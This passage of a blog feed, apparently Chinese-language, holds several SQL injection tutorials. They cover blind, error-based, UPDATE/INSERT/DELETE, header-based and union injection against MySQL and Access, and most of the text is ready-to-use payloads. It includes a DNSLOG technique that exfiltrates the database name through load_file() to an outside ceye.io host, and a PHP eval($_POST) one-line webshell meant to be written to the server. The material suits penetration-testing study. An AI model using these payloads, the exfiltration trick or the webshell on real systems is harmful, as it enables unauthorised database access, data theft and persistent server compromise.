<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;新密码&#39;</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;用户名&#39;</span> <span style="color:#66d9ef">and</span> passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;旧密码&#39;</span>
</span></span></code></pre></div><p>密码一般会被加密，不好入手，因此选择用户名攻击：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#f92672">##</span> <span style="color:#960050;background-color:#1e0010">空格被过滤</span>
</span></span><span style="display:flex;"><span>x<span style="color:#e6db74">&#34;^updatexml(1,concat(0x7e,(version())),0)#
</span></span></span></code></pre></div><h3 id="dnslog注入">DNSLOG注入</h3>
<p>解决不回显，相比盲注更快，但适用范围不广，因为要用到<code>load_file()</code>函数，需要root权限，并且<code>secure_file_priv</code>需要为空，且需要操作系统为Windows（<code>\\</code>为unc路径）。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>ping test.dbuh8a.ceye.io
</span></span><span style="display:flex;"><span>ping <span style="color:#f92672">%</span>USERNAME<span style="color:#f92672">%</span>.dbuh8a.ceye.io
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> load_file(<span style="color:#e6db74">&#39;\\\\xxxx.dbuh8a.ceye.io\\aa&#39;</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> load_file(concat(<span style="color:#e6db74">&#39;\\\\&#39;</span>,(<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">database</span>()),<span style="color:#e6db74">&#39;.dbuh8a.ceye.io\\aa&#39;</span>));
</span></span></code></pre></div><h3 id="高权限注入">高权限注入</h3>
<p>数据库用户分为系统用户和普通用户。前者可看所有数据库，可进行文件读写；后者不行。
⚠️所以，某些注入点可以读写文件。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#75715e"># 判断是否高权限</span>
</span></span><span style="display:flex;"><span>python sqlmap.py -u <span style="color:#e6db74">&#34;http://XXX?id=1&#34;</span> --is-dba
</span></span></code></pre></div><p>写入一句话后门</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> <span style="color:#66d9ef">eval</span>($_POST[<span style="color:#e6db74">&#39;x&#39;</span>]); <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——05、盲注</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-05%E7%9B%B2%E6%B3%A8/</link>
      <pubDate>Wed, 06 Oct 2021 21:00:42 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-05%E7%9B%B2%E6%B3%A8/</guid>
      <description>order by select * from users order by $sth 盲注的三种类型 逻辑判断 regexp、like、ascii、left、ord、mid like &amp;#39;ro%&amp;#39; regexp &amp;#39;^user[a-z]&amp;#39; #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length() 延时判断 if、sleep select * from users where id=1 and if(1&amp;gt;2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1&amp;gt;2,sleep(5),sleep(10)); 报错回显 floor、updatexml、extractvalue 逻辑判断 例如：
?id=1&amp;#39; and length(database())=8--+ ?id=1&amp;#39; and left(database(),1)&amp;gt;&amp;#39;a&amp;#39;--+ 延时判断 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ 报错注入 12种报错注入&amp;#43;万能语句</description>
      <content:encoded><![CDATA[<h3 id="order-by">order by</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">order</span> <span style="color:#66d9ef">by</span> <span style="color:#960050;background-color:#1e0010">$</span>sth
</span></span></code></pre></div><h3 id="盲注的三种类型">盲注的三种类型</h3>
<ol>
<li>逻辑判断
regexp、like、ascii、left、ord、mid
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">like</span> <span style="color:#e6db74">&#39;ro%&#39;</span>
</span></span><span style="display:flex;"><span>regexp <span style="color:#e6db74">&#39;^user[a-z]&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">截取字符串</span>
</span></span><span style="display:flex;"><span>mid(str,start_loc,<span style="color:#66d9ef">length</span>)
</span></span><span style="display:flex;"><span>substr(str,start_loc,<span style="color:#66d9ef">length</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">left</span>(str,<span style="color:#66d9ef">length</span>) <span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">从左侧截取</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">#</span><span style="color:#960050;background-color:#1e0010">字符串长度</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">length</span>()
</span></span></code></pre></div></li>
<li>延时判断
if、sleep
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span><span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> sleep(<span style="color:#ae81ff">5</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> users <span style="color:#66d9ef">where</span> id<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> <span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;</span><span style="color:#ae81ff">2</span>,sleep(<span style="color:#ae81ff">5</span>),sleep(<span style="color:#ae81ff">10</span>));
</span></span></code></pre></div></li>
<li>报错回显
floor、updatexml、extractvalue</li>
</ol>
<h3 id="逻辑判断">逻辑判断</h3>
<p>例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">?id=1&#39; and length(database())=8--+
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">?id=1&#39; and left(database(),1)&gt;&#39;a&#39;--+
</span></span></span></code></pre></div><h3 id="延时判断">延时判断</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(ascii(substr(<span style="color:#66d9ef">database</span>(),<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>))<span style="color:#f92672">=</span><span style="color:#ae81ff">115</span>,sleep(<span style="color:#ae81ff">5</span>),<span style="color:#ae81ff">1</span>)<span style="color:#75715e">--+
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">and</span> <span style="color:#66d9ef">if</span>(ascii(substr((<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">table_name</span> <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">where</span> table_schema<span style="color:#f92672">=</span><span style="color:#66d9ef">database</span>() <span style="color:#66d9ef">limit</span> <span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>),<span style="color:#ae81ff">1</span>,<span style="color:#ae81ff">1</span>))<span style="color:#f92672">=</span><span style="color:#ae81ff">101</span>,sleep(<span style="color:#ae81ff">3</span>),<span style="color:#ae81ff">0</span>)<span style="color:#75715e">--+
</span></span></span></code></pre></div><h3 id="报错注入">报错注入</h3>
<p><a href="https://www.jianshu.com/p/bc35f8dd4f7c" target="_blank">12种报错注入&#43;万能语句</a></p>
<h5 id="更新注入">更新注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$name&#39;</span> <span style="color:#66d9ef">where</span> id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">$</span>name <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or &#39;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">//</span> <span style="color:#960050;background-color:#1e0010">结果</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">update</span> <span style="color:#66d9ef">user</span> <span style="color:#66d9ef">set</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&#39;</span> <span style="color:#66d9ef">or</span>(<span style="color:#66d9ef">select</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">from</span>(<span style="color:#66d9ef">select</span> <span style="color:#66d9ef">count</span>(<span style="color:#f92672">*</span>),concat((<span style="color:#66d9ef">select</span> (<span style="color:#66d9ef">select</span> (<span style="color:#66d9ef">select</span> concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>(),<span style="color:#ae81ff">0</span>x7e))) <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">limit</span> <span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>),floor(rand(<span style="color:#ae81ff">0</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>))x <span style="color:#66d9ef">from</span> information_schema.tables <span style="color:#66d9ef">group</span> <span style="color:#66d9ef">by</span> x)a) <span style="color:#66d9ef">or</span> <span style="color:#e6db74">&#39;&#39;</span> <span style="color:#66d9ef">where</span> id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>出现结果<code>ERROR 1062(23000): Duplicate entry '1~security~' for key 'group_key'</code>，则得到库名为security；
若将<code>database()</code>改为<code>version()</code>，则提示<code>ERROR 1062(23000): Duplicate entry '1~5.5.53~' for key 'group_key'</code>。</p>
<ul>
<li>其他注入语句</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubeNicky<span style="color:#e6db74">&#39; or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubeNicky<span style="color:#e6db74">&#39; or  updatexml(1,concat(0x7e,(version())),0) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>Nicky<span style="color:#e6db74">&#39; or extractvalue(1,concat(0x7e,database())) or &#39;</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span></code></pre></div><h5 id="插入注入">插入注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or &#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or updatexml(1,concat(0x7e,(version())),0) or &#39;</span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span><span style="display:flex;"><span>username<span style="color:#f92672">=</span>x<span style="color:#e6db74">&#39; or extractvalue(1,concat(0x7e,database())) or &#39;</span><span style="color:#f92672">&amp;</span>password<span style="color:#f92672">=</span>xiaodi<span style="color:#f92672">&amp;</span>sex<span style="color:#f92672">=%</span>E7<span style="color:#f92672">%</span><span style="color:#ae81ff">94</span><span style="color:#f92672">%</span>B7<span style="color:#f92672">&amp;</span>phonenum<span style="color:#f92672">=</span><span style="color:#ae81ff">13878787788</span><span style="color:#f92672">&amp;</span>email<span style="color:#f92672">=</span>wuhan<span style="color:#f92672">&amp;</span><span style="color:#66d9ef">add</span><span style="color:#f92672">=</span>hubei<span style="color:#f92672">&amp;</span>submit<span style="color:#f92672">=</span>submit
</span></span></code></pre></div><h5 id="删除注入">删除注入</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>(<span style="color:#66d9ef">select</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span><span style="color:#f92672">+</span><span style="color:#66d9ef">from</span>(<span style="color:#66d9ef">select</span><span style="color:#f92672">+</span><span style="color:#66d9ef">count</span>(<span style="color:#f92672">*</span>),concat(floor(rand(<span style="color:#ae81ff">0</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>),<span style="color:#ae81ff">0</span>x7e,(<span style="color:#66d9ef">database</span>()),<span style="color:#ae81ff">0</span>x7e)x<span style="color:#f92672">+</span><span style="color:#66d9ef">from</span><span style="color:#f92672">+</span>information_schema.character_sets<span style="color:#f92672">+</span><span style="color:#66d9ef">group</span><span style="color:#f92672">+</span><span style="color:#66d9ef">by</span><span style="color:#f92672">+</span>x)a)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>updatexml<span style="color:#f92672">+</span>(<span style="color:#ae81ff">1</span>,concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>()),<span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">or</span><span style="color:#f92672">+</span>extractvalue(<span style="color:#ae81ff">1</span>,concat(<span style="color:#ae81ff">0</span>x7e,<span style="color:#66d9ef">database</span>()))
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——04、POST/XFF/HOST/COOKIE/其他功能</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-04-POST-XFF-HOST-COOKIE-etc/</link>
      <pubDate>Wed, 06 Oct 2021 19:41:42 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-04-POST-XFF-HOST-COOKIE-etc/</guid>
      <description>Sqlmap其他注入 在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用--data参数，因为使用txt方式注入使用的是真实的数据包，而--data使用的是SQLMap自带的请求头； 在注入点处用星号标记，例如host: XXX*； 使用python sqlmap.py -r host.txt开始注入 万能密码原理(post注入) 例如对于下列sql语句：
select * from admin where username=&amp;#39;$user&amp;#39; and password=&amp;#39;$pass&amp;#39; ; 使$user = &amp;ldquo;admin&amp;rsquo; or &amp;lsquo;1&amp;rsquo;=&amp;lsquo;1&amp;rdquo;，得到
select * from admin where username=&amp;#39;admin&amp;#39; or &amp;#39;1&amp;#39;=&amp;#39;1&amp;#39; and password=&amp;#39;$pass&amp;#39; ; host注入 在HTTP头中，把order by 4（payload）作为host项传递。
XFF注入 例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如PHP正确获取客户端IP地址。
以下三个参数可能存在注入点：
HTTP_CLIENT_IP：存在于http请求的header HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP&amp;hellip;&amp;hellip; HTTP_X_REAL_IP：这个用得比较少，暂不讨论。 这三个值都是从HTTP请求头获取的，所以并不可靠！
根据功能区分注入类型 例如，搜索sql如下：
select * from zzz_user where name like &amp;#39;%$name%&amp;#39; 字符串相关的sql判断语句会包含引号等等。
⚠️注意数字、字母、JSON类型字符串。</description>
      <content:encoded><![CDATA[<h2 id="sqlmap其他注入">Sqlmap其他注入</h2>
<ol>
<li>在使用SQLMap进行POST注入时，可以使用post.txt注入，而不是使用<code>--data</code>参数，因为使用txt方式注入使用的是真实的数据包，而<code>--data</code>使用的是SQLMap自带的请求头；</li>
<li>在注入点处用星号标记，例如<code>host: XXX*</code>；</li>
<li>使用<code>python sqlmap.py -r host.txt</code>开始注入</li>
</ol>
<h3 id="万能密码原理post注入">万能密码原理(post注入)</h3>
<p>例如对于下列sql语句：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> <span style="color:#66d9ef">admin</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$user&#39;</span> <span style="color:#66d9ef">and</span> password<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$pass&#39;</span> ;
</span></span></code></pre></div><p>使$user = &ldquo;admin&rsquo; or &lsquo;1&rsquo;=&lsquo;1&rdquo;，得到</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> <span style="color:#66d9ef">admin</span> <span style="color:#66d9ef">where</span> username<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;admin&#39;</span> <span style="color:#66d9ef">or</span> <span style="color:#e6db74">&#39;1&#39;</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;1&#39;</span> <span style="color:#66d9ef">and</span> password<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;$pass&#39;</span> ;
</span></span></code></pre></div><h3 id="host注入">host注入</h3>
<p>在HTTP头中，把<code>order by 4</code>（payload）作为host项传递。</p>
<h3 id="xff注入">XFF注入</h3>
<p>例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如<a href="https://www.cnblogs.com/lushaoyan/p/11088213.html" target="_blank">PHP正确获取客户端IP地址</a>。</p>
<p>以下三个参数可能存在注入点：</p>
<blockquote>
<p>HTTP_CLIENT_IP：存在于http请求的header
HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP&hellip;&hellip;
HTTP_X_REAL_IP：这个用得比较少，暂不讨论。
<strong>这三个值都是从HTTP请求头获取的，所以并不可靠！</strong></p>
</blockquote>
<h3 id="根据功能区分注入类型">根据功能区分注入类型</h3>
<p>例如，搜索sql如下：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> zzz_user <span style="color:#66d9ef">where</span> name <span style="color:#66d9ef">like</span> <span style="color:#e6db74">&#39;%$name%&#39;</span>
</span></span></code></pre></div><p>字符串相关的sql判断语句会包含引号等等。</p>
<p>⚠️注意数字、字母、JSON类型字符串。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——01、几种常见的注入形式</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-01-%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/</link>
      <pubDate>Mon, 04 Oct 2021 12:53:14 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-01-%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/</guid>
      <description>常用工具：SQLmap
数据库类型判断 SQL注入语句判断（配合工具） 搭建组合、信息搜集 端口扫描 一、Access注入（较少见，没有数据库名） 猜测有多少列（order by 22）
22正常，23错误 联合注入/暴力注入（union select 1,2,3,4,…,22 from admin） 此处猜测表名为admin，此处暴力破解，配合抓包工具 &amp;gt; 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 &amp;lt;ol start=&amp;quot;2&amp;quot;&amp;gt; &amp;lt;li&amp;gt; 为测试页面回显，依次在1,2,username,password,…,22写上列名&amp;lt;br /&amp;gt; 此处也需要暴力破解列名 &amp;lt;/li&amp;gt; &amp;lt;/ol&amp;gt; 偏移注入：解决表名获取到但列名获取不到的情况
表名获取不到，则必须要字典暴力破解
依次测试下列语句，直到不再报错： union select 1,2,3,4,…,19,20,21,* from admin union select 1,2,3,4,…,19,20,* from admin union select 1,2,3,4,…,19,* from admin union select 1,2,3,4,…,18,* from admin … 假设union select 1,2,3,4,…,16,* from admin正常显示，则admin中列的个数：22-16=6
4. 二级偏移16-6=10/三级偏移10-6=4/…
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.</description>
      <content:encoded><![CDATA[<p>常用工具：SQLmap</p>
<h3 id="数据库类型判断">数据库类型判断</h3>
<ol>
<li>SQL注入语句判断（配合工具）</li>
<li>搭建组合、信息搜集</li>
<li>端口扫描</li>
</ol>
<h2 id="一access注入较少见没有数据库名">一、Access注入（较少见，没有数据库名）</h2>
<ol>
<li>猜测有多少列（order by 22）<br>
22正常，23错误</li>
<li>联合注入/暴力注入（union select 1,2,3,4,…,22 from admin）
<ol>
<li>此处猜测表名为admin，此处暴力破解，配合抓包工具</li>
</ol>
</li>
</ol>
<pre><code>&gt; 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 

&lt;ol start=&quot;2&quot;&gt;
  &lt;li&gt;
    为测试页面回显，依次在1,2,username,password,…,22写上列名&lt;br /&gt; 此处也需要暴力破解列名
  &lt;/li&gt;
&lt;/ol&gt;
</code></pre>
<ol start="3">
<li>偏移注入：解决表名获取到但列名获取不到的情况<br>
表名获取不到，则必须要字典暴力破解<br>
依次测试下列语句，直到不再报错：</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2,3,4,…,19,20,21,* from admin
union select 1,2,3,4,…,19,20,* from admin
union select 1,2,3,4,…,19,* from admin
union select 1,2,3,4,…,18,* from admin
…
</code></pre>
<p>假设<code>union select 1,2,3,4,…,16,* from admin</code>正常显示，则admin中列的个数：22-16=6<br>
4. 二级偏移16-6=10/三级偏移10-6=4/…</p>
<pre><code class="language-sql line-numbers">union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
</code></pre>
<h2 id="二mysql注入">二、MySQL注入</h2>
<h4 id="1-猜测有多少列order-by-4">1. 猜测有多少列（order by 4）</h4>
<h4 id="2-联合注入union-select-1234获取数据库名">2. 联合注入（union select 1,2,3,4）——获取数据库名</h4>
<h5 id="21-测试回显">2.1. 测试回显</h5>
<ul>
<li>此时页面正常，将前面的条件置为假，出现数字（此处假设数字为2）</li>
<li>例如，id=1改为id=-1，或者加上and 1=2</li>
</ul>
<h5 id="22-使用内置函数获取数据库名假设此处为db">2.2. 使用内置函数获取数据库名（假设此处为db）</h5>
<pre><code class="language-sql line-numbers">union select 1,database(),3,4
</code></pre>
<ul>
<li>同时可用<code>version()、user()、@@version_compile_os</code>查询数据库版本、用户、操作系统名</li>
</ul>
<h4 id="3-获取数据面向mysql-50及以上">3. 获取数据（面向MySQL 5.0及以上）</h4>
<ul>
<li>⚠️注意：MySQL 5.0以下注入属于暴力破解，5.0及以上版本为有根据猜解。因为在MySQL 5及以上版本中有information_schema库，它储存了mysql所有数据库名、表名、列名信息。数据库版本可用上一步的 version() 获取。
<ul>
<li>information_schema.tables表下的列table_name 存储表名信息的表</li>
<li>information_schema.columns表下的列column_name 存储列名信息的表</li>
<li>information_schema.schemata表下的列shcema_name 存储数据库名信息的表</li>
</ul>
</li>
</ul>
<h5 id="31-获取表名">3.1. 获取表名</h5>
<pre><code class="language-sql line-numbers">union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’db’
</code></pre>
<ul>
<li>此处db为数据库名，在第二步中已经得到（假设其中有member）
<ul>
<li>table_schema 数据库名</li>
<li>table_name 表名</li>
<li>column_name 列名</li>
</ul>
</li>
</ul>
<h5 id="32-获取列名">3.2. 获取列名</h5>
<pre><code class="language-sql line-numbers">union select 1,group_concat(column_name),3,4 from information_schema.tables where table_name=’member’
</code></pre>
<ul>
<li>假设获取到了name、password等列名</li>
</ul>
<h5 id="33-获取数据">3.3. 获取数据</h5>
